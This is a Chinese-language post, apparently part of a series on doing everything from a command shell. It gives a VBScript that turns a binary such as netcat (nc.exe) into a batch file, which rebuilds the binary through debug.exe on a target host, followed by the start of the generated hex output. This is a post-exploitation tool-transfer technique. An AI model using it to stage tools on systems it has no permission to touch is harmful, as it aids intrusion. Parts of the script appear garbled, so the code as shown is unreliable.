|
Do All in Cmd Shell(2) 无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:
fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"\")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl\65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbsdebug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。 稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B80000000000 0000400000000000000000000000000000000000000000000 000000000000000000000000000800000000E1FBA0E00B409 CD21B8014CCD21546869732070726F6772616D2063616E6E6 F742062652072756E20696E20444F53206D6F64652E0D0D0A 2400000000000000"_>>debug.vbs @echo +"504500004C010400B98EAE340000000000000000E0000F0 10B010500009800000062000000000000004C000000100000 00B0000000004000001000000002000004000000000000000 4000000000000000030010000040000000000000300000000 0010000010000000001000001000000000000010000000000 0000000000000"_>>debug.vbs @echo +"002001003C0000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000
|